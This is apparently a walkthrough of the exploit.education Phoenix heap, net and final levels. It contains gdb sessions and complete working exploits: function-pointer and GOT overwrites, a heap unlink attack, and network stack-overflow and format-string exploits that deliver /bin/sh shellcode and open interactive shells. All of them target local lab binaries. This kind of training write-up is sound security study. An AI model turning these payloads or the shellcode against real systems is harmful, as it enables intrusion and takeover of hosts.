user@phoenix-amd64:~$ gdb /opt/phoenix/i486/heap-zero
gef➤  disas main
   [...]
   0x080488af <+72>:    call   0x8049146 <malloc>
   0x080488b4 <+77>:    add    esp,0x10
   0x080488b7 <+80>:    mov    DWORD PTR [ebp-0xc],eax
   0x080488ba <+83>:    sub    esp,0xc
   0x080488bd <+86>:    push   0x40
   0x080488bf <+88>:    call   0x8049146 <malloc>
   0x080488c4 <+93>:    add    esp,0x10
   0x080488c7 <+96>:    mov    DWORD PTR [ebp-0x10],eax
   0x080488ca <+99>:    mov    eax,DWORD PTR [ebp-0x10]
   [...]
=> 0x080488e3 <+124>:   call   0x80485b0 <strcpy@plt>
   [...]
End of assembler dump.
gef➤  b *main+124
Breakpoint 1 at 0x80488e3
gef➤  r AAAA
Starting program: /opt/phoenix/i486/heap-zero AAAA
Welcome to phoenix/heap-zero, brought to you by https://exploit.education

We check value of d (ebp-0x10) and f (ebp-0xc), and a distance between them.

Breakpoint 1, 0x080488e3 in main ()
gef➤  x/x $ebp-0x10
0xffffcff8:     0xf7e69050
gef➤  x/x $ebp-0xc
0xffffcffc:     0xf7e69008
gef➤  print/d  0xf7e69050 - 0xf7e69008
$5 = 72

So sending more than 72 bytes should override the function pointer fp. Let’s check it with 74 * "A" + "BBBB"

gef➤  r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Starting program: /opt/phoenix/i486/heap-zero AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x42424242

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

It works, so BBBB can be replaced with a desired address.

gef➤  print &winner
$6 = (<text variable, no debug info> *) 0x8048835 <winner>
user@phoenix-amd64:~$ /opt/phoenix/i486/heap-zero `python -c "print 'A' * 72 + '\x35\x88\x04\x08'"`
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x8048835
Congratulations, you have passed this level

Heap One

In this exercise we can overwrite objects on a heap, but this time no function pointer is in use.

[...]
struct heapStructure {
  int priority;
  char *name;
};
[...]

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
[...]

We can exploit the fact that strcpy is called twice, for two objects on the heap. It is possible to abuse first invocation to overflow a buffer i1->name and overwrite value in i2.name. Next, a second user controlled parameter is written to i2->name, and as we may control to which address name points we can write any value to any address. We just need to know an offset for overflow and an address where printf kept by .plt.

user@phoenix-amd64:~$ gdb /opt/phoenix/i486/heap-one
gef➤  disas main
Dump of assembler code for function main:
   [...]
   0x0804884d <+120>:   mov    eax,DWORD PTR [ebp-0xc]
   0x08048850 <+123>:   mov    eax,DWORD PTR [eax+0x4]
   0x08048853 <+126>:   sub    esp,0x8
   0x08048856 <+129>:   push   edx
   0x08048857 <+130>:   push   eax
   0x08048858 <+131>:   call   0x8048560 <strcpy@plt>
   [...]
   0x08048868 <+147>:   mov    eax,DWORD PTR [ebp-0x10]
   0x0804886b <+150>:   mov    eax,DWORD PTR [eax+0x4]
   0x0804886e <+153>:   sub    esp,0x8
   0x08048871 <+156>:   push   edx
   0x08048872 <+157>:   push   eax
   0x08048873 <+158>:   call   0x8048560 <strcpy@plt>
   [...]
gef➤  b *main+131
Breakpoint 1 at 0x8048858

ebp-0xc is i1 and ebp-0x10 is i2.

gef➤  x/x $ebp-0xc
0xffffd11c:     0xf7e69008
gef➤  x/x 0xf7e69008 + 4
0xf7e6900c:     0xf7e69018
gef➤  x/x $ebp-0x10
0xffffd118:     0xf7e69028
gef➤  print/x 0xf7e69028+0x4
$0 = 0xf7e6902c
gef➤  print/d 0xf7e6902c-0xf7e69018
$1 = 20
gef➤  print &winner
$3 = (<text variable, no debug info> *) 0x804889a <winner>

Joining it together.

user@phoenix-amd64:~$ /opt/phoenix/i486/heap-one `python -c 'print "A"*20 + "\x40\xc1\x04\x08"'` `python -c 'print "\x9a\x88\x04\x08"'`
Congratulations, you've completed this level @ 1572169324 seconds past the Epoch

Heap Two

Here we have possibility to exploit use after free kind of bug, which will allow us to pass authentication. When free is called the application still uses freed memory, and this address may be additionally reused by strdup.

user@phoenix-amd64:~$ /opt/phoenix/i486/heap-two
Welcome to phoenix/heap-two, brought to you by https://exploit.education
[ auth = 0, service = 0 ]
auth a
[ auth = 0x8049af0, service = 0 ]
reset
[ auth = 0x8049af0, service = 0 ]
service aaaaaa
[ auth = 0x8049af0, service = 0x8049af0 ]
login
you have logged in already!
[ auth = 0x8049af0, service = 0x8049af0 ]

Heap Three

Good explanation what happens here:

Important parts of code:

#define MAX_FAST_SIZE     80

[...]

#define chunk_at_offset(p, s)  ((mchunkptr)(((char*)(p)) + (s)))

[...]

#define unlink(P, BK, FD) {                                            \
  FD = P->fd;                                                          \
  BK = P->bk;                                                          \
  FD->bk = BK;                                                         \
  BK->fd = FD;                                                         \
}

[...]

struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
};

[...]

  if ((CHUNK_SIZE_T)(size) <= (CHUNK_SIZE_T)(av->max_fast)

[...]

  if (!prev_inuse(p)) {
        prevsize = p->prev_size;
        size += prevsize;
        p = chunk_at_offset(p, -((long) prevsize));
        unlink(p, bck, fwd);
  }

Addresses of user data in chunks (returned by malloc): a - 0xf7e69008 b - 0xf7e69030 c - 0xf7e69058

gef➤  x/i 0x80485b0
   0x80485b0 <puts@plt>:        jmp    DWORD PTR ds:0x804c13c
gef➤  x/x 0x804c13c
0x804c13c <puts@got.plt>:       0xf7fb88ee

gef➤  print winner
$15 = {<text variable, no debug info>} 0x80487d5 <winner>
A = "aaaa" # anything, skipped
A += "\xb8\xd5\x87\x04\x08\xff\xe0" # shellcode: mov eax, 0x080487d5; jmp eax

B = "B"*32
B += "\xfc\xff\xff\xff"
B += "\xb0\xff\xff\xff"

C = "XXXX" # anything, skipped
C += "\x30\xc1\x04\x08" # address of puts@got.plt - 12 bytes
C += "\x0c\x90\xe6\xf7" # address of shellcode

print A + " " + B + " " + C

As a second argument more than 32 bytes are passed. First exceeding 4 bytes overwrites prev_size in chunk C. prev_size value is treated as a signed long (0xfffffffc -> 4294967292 -> -4) and negated what makes it 4. Then, this value is added to a current chunk’s address (0xf7e69050) what makes p (0xf7e69054). In unlink: to FD value 0x0804c130 is set, and 0xf7e6900c to BK. Next, FD.bk points to 0x804c13c address which keeps a pointer to puts. This pointer is overwritten with BK (0xf7e6900c) which is an address of the shellcode. BK.fd points to 0xf7e69014 - to this address FD value is written, and it would broke the exploit if the shellcode was 9 or more bytes long. Second exceeding 4 bytes allow to pass initial size check (before unlink is executed) as 0xffffffb0 becomes 4294967216 which is more than max size for fastbin.

gef➤  b *free
Breakpoint 1 at 0x8049857
gef➤  b *main+187
Breakpoint 2 at 0x80488b7

gef➤  r $(python th.py)
Starting program: /opt/phoenix/i486/heap-three $(python heap-three.py)

Breakpoint 1, 0x08049857 in free ()
gef➤  x/32x 0xf7e69000
0xf7e69000:     0x00000000      0x00000029      0x61616161      0x0487d5b8
0xf7e69010:     0x00e0ff08      0x00000000      0x00000000      0x00000000
0xf7e69020:     0x00000000      0x00000000      0x00000000      0x00000029
0xf7e69030:     0x42424242      0x42424242      0x42424242      0x42424242
0xf7e69040:     0x42424242      0x42424242      0x42424242      0x42424242
0xf7e69050:     0xfffffffc      0xffffffb0      0x58585858      0x0804c130
0xf7e69060:     0xf7e6900c      0x00000000      0x00000000      0x00000000
0xf7e69070:     0x00000000      0x00000000      0x00000000      0x000fff89
gef➤  x/x 0x804c13c
0x804c13c <puts@got.plt>:       0xf7fb88ee
gef➤
Continuing.

Breakpoint 2, 0x080488b7 in main ()
gef➤  x/32x 0xf7e69000
0xf7e69000:     0xffffffac      0x00000028      0xf7e69028      0x0487d5b8
0xf7e69010:     0x00e0ff08      0x0804c130      0x00000000      0x00000000
0xf7e69020:     0x00000000      0x00000000      0x00000000      0x00000029
0xf7e69030:     0x00000000      0x42424242      0x42424242      0x42424242
0xf7e69040:     0x42424242      0x42424242      0x42424242      0x42424242
0xf7e69050:     0xfffffffc      0xffffffb0      0xffffffad      0x0804c1f4
0xf7e69060:     0x0804c1f4      0x00000000      0x00000000      0x00000000
0xf7e69070:     0x00000000      0x00000000      0x00000000      0x000fff89
gef➤  x/x 0x804c13c
0x804c13c <puts@got.plt>:       0xf7e6900c
user@phoenix-amd64:~$ /opt/phoenix/i486/heap-three `python heap-three.py`
Level was successfully completed at @ 1572295810 seconds past the Epoch

Net

Net Zero

import socket
import time
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 64010))
while True:
    t = s.recv(128)
    print t
    n = t.split("'")
    if len(n) > 1:
        n = n[1]
        print "Received: " + n + " (hex: " + "".join("\\x{:02x}".format(ord(c)) for c in n) + ")"
        u = struct.pack("<I", int(n))
        print "As unsigned int (hex): " + "".join("\\x{:02x}".format(ord(c)) for c in u)
        s.send(u)
        time.sleep(0.5)
        print s.recv(64)
        break

Welcome to phoenix/net-zero, brought to you by https://exploit.education
Please send '1658418750' as a little endian, 32bit inte
Received: 1658418750 (hex: \x31\x36\x35\x38\x34\x31\x38\x37\x35\x30)
As unsigned int (hex): \x3e\x76\xd9\x62
ger.
You have successfully passed this level, well done!

The application sends the number written as string (ascii). It must be converted to a number and then to bytes with little endian order.

Net One

import socket
import time
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 64011))
time.sleep(0.5)
t = s.recv(128)
print t
n = t.split("\n")[1]
print "Received: " + "".join("\\x{:02x}".format(ord(c)) for c in n)
c = str(struct.unpack("<I", n)[0])
print "As unsigned int: " + c
s.send(c + "\r\n")
time.sleep(0.5)
print s.recv(128)

The application sends the number encoded as bytes in little endian order. It must be converted to int, then to string and sent back.

user@phoenix-amd64:~$ python n1.py
Welcome to phoenix/net-one, brought to you by https://exploit.education
ߋ�x
Received: \xdf\x8b\x92\x78
As unsigned int: 2022869983
Congratulations, you've passed this level!

Net Two

import socket
import time
import struct


def ashex(b):
    return "".join("\\x{:02x}".format(ord(c)) for c in b)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 64012))
i = ""
while True:
    i += s.recv(128)
    if i[-1] == "\n":
        break

total = 0
for i in range(0,4):
    a = s.recv(4)
    print "Received: " + ashex(a)
    total = long(total + struct.unpack("<L", a)[0])

total = total & 0xffffffff
p = struct.pack("<L", total)
print "Total: " + str(total) + ", hex: " + ashex(str(p))
s.send(p)
time.sleep(0.5)
print s.recv(1024)

This time the application sends 4 longs which must be summed up and sent back. As numeric values don’t overflow in python, we must remove exceeding bytes.

user@phoenix-amd64:~$ python n2.py
Received: \x1e\x0e\x86\x96
Received: \xcc\x0a\x7d\x4c
Received: \xfb\x8d\xb5\x45
Received: \xe4\xfd\xf9\x78
Total: 2712839369, hex: \xc9\xa4\xb2\xa1
You have successfully passed this level, well done!

Final

Final Zero

This final exercise is very similar to the stack five exercise, but this time we communicate over a network. We can create a pattern which helps in finding an offset and cause a crash just using a nc.

root@kali:~# msf-pattern_create -l 600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9
root@phoenix-amd64:/var/lib/coredumps# gdb -c core.final-zero.11.7752

Core was generated by `/opt/phoenix/i486/final-zero'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x72413772 in ?? ()

gef➤  x/s 0xffffdb18
0xffffdb18:     "AA0AA1AA2AA3AA4AA5AA6AA7AA8AA9AB0AB1AB2AB3AB4AB5AB6AB7AB8AB9AC0AC1AC2AC3AC4AC5AC6AC7AC8AC9AD0AD1AD2AD3AD4AD5AD6AD7AD8AD9AE0AE1AE2AE3AE4AE5AE6AE7AE8AE9AF0AF1AF2AF3AF4AF5AF6AF7AF8AF9AG0AG1AG2AG3AG4AG5AG6AG7AG8AG9AH0AH1AH2AH3AH4AH5AH6AH7AH8AH9AI0AI1AI2AI3AI4AI5AI6AI7AI8AI9AJ0AJ1AJ2AJ3AJ4AJ5AJ6AJ7AJ8AJ9AK0AK1AK2AK3AK4AK5AK6AK7AK8AK9AL0AL1AL2AL3AL4AL5AL6AL7AL8AL9AM0AM1AM2AM3AM4AM5AM6AM7AM8AM9AN0AN1AN2AN3AN4AN5AN6AN7AN8AN9AO0AO1AO2AO3AO4AO5AO6AO7AO8AO9AP0AP1AP2AP3AP4AP5AP6AP7AP8AP9AQ0AQ1AQ2AQ3AQ4AQ5AQ6AQ7AQ8AQ9AR"
root@kali:~# python -c 'print "72413772".decode("hex")'
rA7r
root@kali:~# msf-pattern_offset -l 600 -q r7Ar
[*] Exact match at offset 532

This information is enough to develop an exploit. Shellcode was generated using pwntools what was the idea from https://www.lucas-bader.com/ctf/2019/07/12/final0.

pwnlib.asm.asm(pwnlib.shellcraft.i386.linux.sh())
import socket
import time

offset = 532

p = "AAAAAAA\r"
p += "\x90" * 4
p += 'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
p += "\x90" * (offset - len(p))
p += "\x20\xdb\xff\xff" # 0xffffdb18 + 8
p += "\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 64013))
print s.recv(1024)
s.sendall(p)
while True:
    cmd = raw_input("$ ")
    s.sendall(cmd + "\n")
    print s.recv(1024)

s.close()
user@phoenix-amd64:~$ python fin0.py
Welcome to phoenix/final-zero, brought to you by https://exploit.education

$ id
uid=519(phoenix-i386-final-zero) gid=519(phoenix-i386-final-zero) groups=519(phoenix-i386-final-zero)

Final One

This exercise is focused on exploitation string formatting vulnerability. Like in Heap three it is required to overwrite GOT entry (of gets) to redirect execution to own shellcode, but this time it has to be done over a network.

For debugging we can initiate connection, and when script waits on raw_input we can attach a debugger.

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 64014))
print s.recv(1024)
raw_input("continue...")
p = "username A"
s.sendall(p + "\n")
print s.recv(1024)
raw_input("continue...")
p = "login A"
s.sendall(p + "\n")
print s.recv(1024)
# gdb -p `ps aux | grep "[f]inal-one" | tr -s ' ' | cut -d ' ' -f 2`
gef➤  b *logit+66
Breakpoint 1 at 0x8048827

Breakpoint is set on a flawed execution of fprintf. When the breakpoint hits, we can examine memory to find out that we need to skip 10 parameters, where password buffer is allocated and where gets address is kept.

gef➤  x/16x $esp
0xffffd480:     0x08049010      0xffffd490      0x00000000      0x00000000
0xffffd490:     0x69676f4c      0x7266206e      0x31206d6f      0x302e3732
0xffffd4a0:     0x312e302e      0x3733353a      0x61203630      0x415b2073
0xffffd4b0:     0x41414141      0x41414141      0x41414141      0x41414141
gef➤  x/s 0xffffd490
0xffffd490:     "Login from 127.0.0.1:53706 as [", 'A' <repeats 32 times>, "] with password [", 'B' <repeats 32 times>, "]\n"
gef➤  x/x $ebp+8
0xffffdca0:     0xffffdcb6
gef➤  x/s 0xffffdcb6
0xffffdcb6:     'B' <repeats 32 times>
gef➤  x/i 0x8048570
   0x8048570 <fgets@plt>:       jmp    DWORD PTR ds:0x8049e50
gef➤  x/x 0x8049e50
0x8049e50 <fgets@got.plt>:      0xf7fb647e

With these details we can prepare the rest of the exploit. For calculation of byte to write it is assumed that it’s always executed from 127.0.0.1 and a 5 digit port.

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 64014))
print s.recv(1024)
raw_input("continue...")
p = "username A"
p += "\x58\x9e\x04\x08"
p += "AAAA\x59\x9e\x04\x08AAAA\x5a\x9e\x04\x08\x5b\x9e\x04\x08" + "%013x" * 9 + "%09x" + "%hhn" + "%038x" + "%hhn" + "%035x" + "%hhn%hhn"
s.sendall(p + "\n")
print s.recv(1024)
raw_input("continue...")
p = "login "
p += 'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
s.sendall(p + "\n")
while True:
    p = raw_input("$ ")
    s.sendall(p + "\n")
    print s.recv(1024)

user@phoenix-amd64:~$ python fin1.py
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $
continue...
[final1] $
continue...
$ id
uid=520(phoenix-i386-final-one) gid=520(phoenix-i386-final-one) groups=520(phoenix-i386-final-one)